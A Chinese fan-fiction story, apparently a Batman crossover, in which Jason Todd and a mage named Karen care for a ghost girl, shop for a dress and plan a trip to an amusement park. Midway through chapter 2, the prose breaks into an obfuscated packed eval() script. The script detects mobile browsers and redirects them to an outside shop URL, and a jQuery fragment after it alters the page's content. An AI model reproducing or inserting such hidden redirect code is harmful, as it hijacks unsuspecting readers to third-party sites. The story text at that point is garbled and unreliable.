1
杰森站起来的时候，小女孩也跟着站起来了。
她的小手攥着他的衣角，指节发白——如果她有指节的话。
她的皮肤白得几乎透明，在诊所暖黄色的灯光底下像一张被揉过的宣纸。暗红色的眼睛从下往上看着他，里面有困意，有依赖，还有一种“你去哪儿我就去哪儿”的天真。杰森低头看了她三秒。
“我走了。”他说。小女孩往前迈了一步。
“你留下。”杰森说。小女孩摇头。
“我明天来接你。”摇头。
“我就回去拿个东西。”摇头。她的手指攥得更紧了，衣角被她攥出一小片湿印。
杰森深吸一口气。他看了一眼卡伦，卡伦靠在诊台上，双手插在口袋里，表情是那种“我早就知道会这样”的平静。
“怎么办？”杰森问。
卡伦看了一眼墙上的钟。“十一点了。”
“所以呢？”
“所以她该睡觉了。小孩不睡觉会长不高。”
小女孩仰着头，认真地说：“我不要长高。”卡伦噎了一下。杰森嘴角忍不住往上抬，又很快压下去了。
“你今晚住这儿。”卡伦蹲下来，和她平视。“明天一早，买裙子，去游乐园，吃冰淇淋。好不好？”
小女孩看了看卡伦，又看了看杰森。“爸爸也住这儿？”
杰森张嘴想说“我不住”，小女孩的手指收紧了一点。
她的指甲是透明的，在灯光底下像一小片一小片的玻璃。杰森把那个“不”字咽回去了。
“住。”他说。
小女孩松开他的衣角，走到诊所的椅子旁边，爬上去坐好，腿悬在半空晃了两下。她低头看着自己晃来晃去的脚，又抬头看杰森。
小女孩认真地问：“游乐园有卖鞋的吗？”
“去商场，和裙子一起买。”
杰森感觉他不适合和孩子说话，不擅长和孩子相处这点果然是布鲁斯遗传过来的。
可恶的蝙蝠侠。
他转头看卡伦。卡伦在翻柜子，表情很专注，但嘴角可疑地翘了起来。
“你在笑什么？”
“没笑。”
杰森死鱼眼。
呵，你如果把表情也伪装一下，没准儿我还会假装自己被骗过去了。
卡伦从柜子里翻出一条毯子，走过去盖在小女孩身上。毯子很大，把她整个人都罩住了，只露出一小截鼻尖和一缕头发。
她的手指从毯子底下伸出来，抓住杰森的衣角，然后缩回去了。杰森低头看着那截被攥出皱褶的衣角，站了一会儿，坐回椅子上。小女孩从毯子底下拱了拱，靠得近了一点。
“爸爸。”毯子底下传来闷闷的声音。
“嗯。”
“你明天真的会来吗？”
杰森低头看着那颗靠在他腿边的小脑袋。她的头发是黑色的，很细，贴在头皮上，露出后脑勺一小片没长好的头皮。他想起自己在犯罪巷的时候，等过很多人。Catherine说她会回来，她没回来。Willis说他会回来，也没回来。
“会。”杰森说。小女孩的手指从毯子底下伸出来，找到他的手指，碰了一下。很凉，很轻，像一片落在皮肤上的雪花，很快又缩回去。
过了一会儿，她的呼吸变得均匀。睡着了。
杰森无言地盯着她的脸。
“她这样，”他开口了，“万一发作怎么办？”
卡伦靠在诊台上，手里拿着那杯凉透了的茶。“你见过怨灵发作？”
“没有。”
“我见过。”卡伦把茶杯放下。“有一个村子，一对平凡但幸福的夫妻的小孩被同村的几个孩子推进水里，怨气不散，变成怨灵，平时看着好好的，跟普通小孩没区别。所以那对夫妻隐瞒了孩子其实没有被及时救上来的事实，权当它是个正常小孩，但两天后的晚上——”
他停了一下。
“那天晚上怎么了？”杰森问。
“有个老太太路过，是那几个杀人的其中一个孩子的奶奶，看了它一眼。”卡伦的声音很平淡。“然后它把整个村子掀了。七个人住院，三个没抢救过来。”
杰森低头看了一眼膝盖旁边那颗小脑袋。她的呼吸很轻，毯子几乎不动。
“她大概不会的。”杰森说。
“你怎么知道？”
杰森没回答。他低头看着那截露在毯子外面的鼻尖，睡着的时候，她的眉头是松开的，嘴唇微微张着，没有颜色。不像会掀翻一个村子的样子。但他在哥谭待太久了，知道“不像”不等于“不会”。游乐园里的小丑也不像能杀人的样子。
杰森把目光从她脸上移开。
“我不知道。”他说。“但她……”他停了一下。“我不能因为她‘可能’会发作就把她丢出去。”
卡伦看着杰森，但杰森没看他，盯着天花板。卡伦认识他这么久，见过他做很多不理智的决定。
一个人去炸企鹅人的仓库，一个人去闯黑面具的老巢，一个人去追小丑。每次都是这副表情。
算了，他是一个正常人，正常人不会和一头驴比力气。
再说了，他也没有将那个小姑娘扔出去的打算。
“行。”卡伦说。“那我说一下预案。”
杰森转头看他。
“她如果发作，你别硬来。怨灵发作的时候没有理智，不认识人。”卡伦的声音很平静，像在念一份操作手册。“你把她引到开阔的地方，别让她伤到普通人。然后通知我，我有办法让她安静下来。”
啧，不行啊，不太放心，要不明天他还是跟着去吧。
“什么办法？”
“炼金术。画个阵，把她的怨气抽出来一部分。不伤她，只是让她没力气闹。”
“抽出来的怨气呢？”
“我存着，等她转世的时候一起散掉。”
杰森看着他。“你想得还挺周全。”
卡伦耸了耸肩。“我在魔法世界待了十几年，别的不敢说，处理这种东西的经验还是有的。”
“那你之前说‘大概能把整间诊所掀了’——”
“吓你的。”
杰森盯着他看了三秒。“你吓我？”
“你刚才那个表情，”卡伦的嘴角翘起，勾起一个有点得意的笑，“值得一看，不是吗？”
杰森深吸一口气。他决定不跟这个人计较。
小女孩在毯子底下翻了个身，嘟囔了一声。两个人同时低头。
她的眉头皱了一下，很快又松开了。手指从毯子底下伸出来，摸索了一下。
“她做梦了。”卡伦说。
“你怎么知道？”
“我见过一个专门研究怨灵的法师。他说怨灵做梦的时候会皱眉，是因为它们在回忆自己活着的时候。那些记忆太短了，短到只有一个画面。但它们会反复做同一个梦。”
杰森低头看着那颗靠在他腿边的小脑袋。“她梦到什么？”
“不知道。可能是医院的灯，可能是某个妈妈的声音，可能什么都不是。”
杰森没说话。过了一会儿，他从口袋里掏出手机。卡伦看着他戳屏幕。“你在干嘛？”
“订票。”
“订什么票？”
“游乐园。”
卡伦张了张嘴。“你不用——”
卡伦看着他戳屏幕的手指。戳得很用力，像在和手机打架。眉头皱着，嘴唇抿成一条线，和平时审问犯人时的表情一模一样。
卡伦忍住笑。“你知道游乐园周末要提前订票吗？”
杰森的手指停了一下。“……现在订。”
“你知道摩天轮的票卖完了吗？”
杰森的手指又停了一下。他抬头看着卡伦，表情复杂。
“你怎么不早说？”
因为他不想人太多，明天所有剩下的摩天轮的票都是他买完的。
“你没问。”
杰森盯着他看了三秒，不放弃的低头继续戳手机。戳了几下，停下来。
“卖完了。”
杰森的声音好像有点死了。
“我知道。”
“你知道还——”
“我订了。”卡伦说。
？他是会什么分身术吗？
杰森抬头。卡伦靠在诊台上，双手插在口袋里，表情无辜。“你的那份也订了。”
杰森张了张嘴。“还有烟花秀。”卡伦补充道。
杰森的嘴闭上了。
诊所里安静了很久。小女孩的呼吸很轻，像风吹过空房间。
“多少钱？”杰森问。
“什么？”
“票，我转给你。”
“不用。”
“别忘了我们还在冷战。”
卡伦看着他，“那你请我吃饭，我宣布我们的冷战结束了。”
“行。”
杰森绝对不会说其实他早就想结束了，只能说这个梯子递的正是时候。
“两顿。”
“……行。”
“几点了？”他问。
卡伦看了一眼墙上的钟。“十一点半。”
小女孩翻了个身。毯子从她肩膀上滑下来，露出半张脸。她的嘴唇微微张着，眉头又皱起来了。
杰森伸手把毯子往上拉了拉，盖住她的肩膀。他的手指碰到她的头发——还是有点湿，大概是什么怨灵的自带设定，但很软。他把手收回来。
“你睡床上。”卡伦说。“我看着她。”
“你睡。”
卡伦看了他一眼。杰森没看他，盯着天花板。卡伦从柜子里翻出一条毯子，铺在沙发上，躺下来。诊所里很安静。台灯还亮着，把天花板照成暖黄色。
“卡伦。”杰森的声音从黑暗中传过来。
“嗯？”
“她明天走了之后，会去哪？”
“转世。重新来过。”
“会记得今天吗？”
卡伦沉默了一会儿。
“不会。”
杰森没再说话。卡伦翻了个身，面朝沙发背。墙上有杰森的影子，被台灯拉得很长。他的影子低着头，看着膝盖旁边那团小小的隆起。
卡伦闭上眼睛。
窗台上，那枚淡粉色的贝壳在月光底下亮了一下。很轻，很淡，像一颗快灭的星星，然后又灭了。
———
2
卡伦是被一阵窸窸窣窣的声音吵醒的。
他睁开眼，看见小女孩蹲在沙发旁边，两只手扒着沙发沿，只露出一双眼睛。暗红色的，在晨光里看不太出来，反而像两颗深色的玻璃珠。她的头发还是湿的，贴在额头上，但裙摆干了——被诊所的暖气烘了一夜，皱巴巴的，像一团被揉过的纸巾。
“妈妈。”她小声说。
卡伦眨了眨眼。他花了三秒钟想起昨天发生了什么——医院、杰森、小女孩、订票。又花了三秒钟消化“妈妈”这个称呼。然后他坐起来，头发炸成一个鸟窝。
“嗯。”
“今天去游乐园吗？”
“去。”
小女孩的眼睛亮了一下。然后她看了看杰森的方向——他歪在椅子上，一条腿搭在地上，另一条腿蜷着，手臂盖在脸上。
外套被她裹在身上当被子了，露出里面那件皱巴巴的灰色T恤。他的呼吸很沉，很慢。小女孩转回来，压低声音。“妈妈，”她认真地问他，“你是真的妈妈吗？”
卡伦看着她。她的眼睛很认真，没有恶意，只是想知道答案。像一个小孩子在问“天为什么会下雨”一样认真。
“你想让我当你的妈妈吗？”卡伦问。
小女孩点头。
“那我就当。”卡伦说。他想了想，又补充了一句，“妈妈就是和爸爸关系很好的人，我和杰森关系很好。”
卡伦知道他有点哄骗小孩的嫌疑了，但他又没办法和小孩说，如果你把杰森当爸爸的话，我还真挺想当你妈妈的。
感觉自己更可悲了。
小女孩想了想。“可是妈妈应该是长头发。”她低下头，手指绞着裙摆。“医院里的妈妈们，都是长头发。她们抱着小宝宝，头发很长，垂下来，盖住小宝宝的脸。”她抬起头，看着卡伦的短发。“你不是长头发。”
卡伦摸了摸自己的头发。
短，确实短。他在魔法世界的时候为了方便，剃过寸头，回来之后养了几个月，现在发型大概算是狼尾，但也和“长头发”差了十万八千里。
“你等一下。”他说。
他走进洗手间，站在镜子前面，把手覆在头顶上。
银白色的光从他的指尖渗出来，钻进他的发根，他的头发开始生长。
盖住耳朵，盖住脖子。停在肩膀下面两寸的地方。卡伦把手放下来，看着镜子里的自己。头发黑色带着自来卷的弧度，垂在肩膀两侧。他的五官本来就偏精致，配上长头发，有点像——他歪了一下头。镜子里的自己也歪了一下头。
算了，魔法师打扮的奇怪一点怎么了？
他从洗手间出来，小女孩蹲在沙发旁边，仰着头看他，眼睛瞪得圆圆的。
“够长了吗？”他问。
小女孩伸出手，碰了一下他的头发。她的手指穿过发丝，没有重量，但她感觉到了。她的嘴角翘起来，露出一个小小的、没有颜色的笑容。
“妈妈。”她说。
卡伦笑了一下。“走。买裙子去。”
他站起来，去衣柜里翻衣服。黑色高领内搭太紧了，黑色工装裤太像要去打架。他翻了翻，翻出一件浅色的卫衣。米白色的，帽子上有两只短短的猫耳朵。
他看了一眼，又看了一眼。在魔法世界的时候他绝对不会穿这种东西。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444125|201073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
但这里是哥谭。没人认识他。
他套上卫衣，把头发从领口里拉出来，站在镜子前面。浅色衣服，长头发，猫耳朵帽子。他的脸本来就小，被帽子一衬，更像学生了。
他对着镜子里的自己点了点头。然后转身。小女孩仰着头看他。
“妈妈好看。”她说。
卡伦的耳朵泛红。
“走了。”
他走到门口，回头看了一眼。杰森还歪在椅子上，手臂盖着脸。卡伦走回去，干脆把他横抱到了沙发上，又从柜子里翻出一条毯子，盖在他身上。杰森的呼吸停了一下。
卡伦的手悬在半空。然后杰森的呼吸又续上了。卡伦把手收回来。
“走了。”他对小女孩说。小女孩站起来，走到卡伦旁边，伸出手，抓住他的衣角。
她的手很小，很凉。卡伦低头看着那截发白的指节。他放慢脚步，让她的手抓得更稳一点。
“走。”
小女孩跟着他，跌跌撞撞地，走进了哥谭的晨光里。
———
3
商场刚开门，人不多。
卡伦牵着小女孩——她不让牵。她要攥着衣角。所以她攥着他的衣角，走在他旁边，仰着头看商场里的灯。
天花板上挂着巨大的水晶吊灯，阳光从玻璃穹顶照下来，把整个大厅照成金色。她张着嘴，眼睛瞪得圆圆的，脚步慢了。
“好看吗？”卡伦问。
她点头，然后看见电梯。透明的直梯，可以看见里面站着人，大多数人手里都拎着好几个购物袋，穿着打扮显得很贵气。
她往卡伦腿边缩了缩。
“那是电梯，会把你送到楼上去。”卡伦说，“想坐吗？”
她摇头，攥着他衣角的手指紧了紧。
卡伦找到童装区的楼层，坐扶梯上去。
三楼，童装。店面很大，粉色的墙壁，白色的货架，衣服按颜色排列——粉色的、紫色的、鹅黄色的、浅蓝色的。小女孩站在店门口，不动了。
“怎么了？”卡伦问。
她看着那些衣服，张着嘴，说不出话。
卡伦蹲下来。“随便挑，今天你说了算。如果你想要的话，我不介意把这些都给你买下来。”
他说休假就休假的原因，不就是因为不缺钱吗？
正常人想赚钱，会经营他那种诊所？
她抬头看他，暗红色的眼睛里带着点惶恐和惊喜。
她松开他的衣角，走进店里，经过每一排货架都要停下来。她摸了一下粉色的裙子，手指穿过去了。她把手指缩回来，攥成拳头。她又摸了一下紫色的裙子，又穿过去了。她站在货架前面，低着头，看着自己的手。
卡伦走过去，从货架上拿下那条鹅黄色的连衣裙，裙摆上有小雏菊。他把裙子举到她面前。
“这条怎么样？”
她抬头看着那条裙子。浅黄色的衣服显得很明亮，像一小片被剪下来的阳光。
她下意识伸出手，手指碰到裙摆的时候——她愣了一下。她的指尖停在了布料上面。没有穿过去。
她碰到的不是布料，是卡伦的手。他把手垫在裙子底下，让她的手指落在他的手心上。她的手很小，很凉。她低头看着自己的手指，看着它们贴在他的皮肤上。
“妈妈。”她说。
“嗯。”
“我能摸到。”
“嗯。”
她把手贴在他的手心上，贴了很久。然后她把手指收回来，攥成拳头，贴在胸口。
“要这条。”她说。
卡伦把裙子从衣架上取下来。“还要别的吗？”
她摇头。“一条就够了。”
卡伦没有勉强。他去收银台付了钱，把裙子装进袋子里。
小女孩攥着他的衣角，跟着他走出店门。她走得很轻快，脚步没有声音，但她的裙摆——那条白色的、有些潮湿的裙摆——在她膝盖旁边晃来晃去。
“妈妈。”她仰着头看他。
“嗯？”
“谢谢你。”
卡伦笑了一下。“不客气。”
她低下头，继续攥着他的衣角，走在商场的大厅里。阳光从玻璃穹顶照下来，把她的白裙子照成金色。她的头发还是湿的，贴在额头上，但脚步很轻快。
周围的人像是没有看见这个奇怪的小女孩，平常地从他们身边走过了。
当然，卡伦在他们出门前就施了一个降低存在感的咒。
有时不得不说，魔法真好用。
卡伦放慢脚步，让她走在前面。他的手机震了一下，杰森的消息。
“你们在哪儿？”
“商场，买完裙子了。”
“等着，我到了。”
卡伦把手机塞回口袋。
小女孩停下来，仰着头看他。“爸爸来吗？”
“来。”
她的眼睛亮了一下。她松开他的衣角，走到商场门口，踮着脚往外看。
刚才他们顺便已经把鞋买好了，现在小女孩脚上的是一双白色的公主鞋。
阳光照在她身上，把她的白裙子照得几乎透明。
他蹲下来，和她平视。“等爸爸来了，我们去换裙子。然后去游乐园，吃冰淇淋，坐摩天轮。”
小女孩看着他，认真地问：“摩天轮是什么？”
“一个很大很大的轮子。坐在上面，会慢慢升到天上去。能看到整个游乐园。”
“能看到烟花吗？”
“能。”
她的嘴角翘起来。“我等爸爸。”
她转回去，继续踮着脚看门口。过了一会儿，她的嘴角又翘了一点。
“爸爸来了。”
商场门口，杰森正往里走。他换了件干净的外套，头发用水抹过了，没有乱翘。小女孩从玻璃门上松开手，朝他跑过去。跌跌撞撞的，像刚学会走路的小孩。她跑到他面前，停下来，仰着头。
“爸爸。”她说。
杰森低头看着她。“嗯。”
“妈妈给我买了裙子。”她指着卡伦手里的袋子。黄色的，裙摆上有小雏菊。
杰森看了一眼袋子，又看了一眼卡伦。卡伦站在阳光底下，浅色卫衣，猫耳朵帽子，长头发梳成了一个低马尾，到背部靠上的地方，这套装扮弱化了他平时挥之不去的神秘感，让他的眉眼柔和下来，眼睛在晨光里亮得像金子。
等等，长头发？至少昨天还不是这样？而且我为什么会觉得他还挺好看的，虽然卡伦平时就很好看？杰森陷入了诡异的沉默。
算了，魔法师。杰森说服了自己。
“走了。”他说。“换裙子，去游乐园。”
小女孩抓住他的衣角，亦步亦趋地走在杰森旁边。
卡伦跟在后面，看着那一高一矮两个背影，把手插进口袋里，跟上去。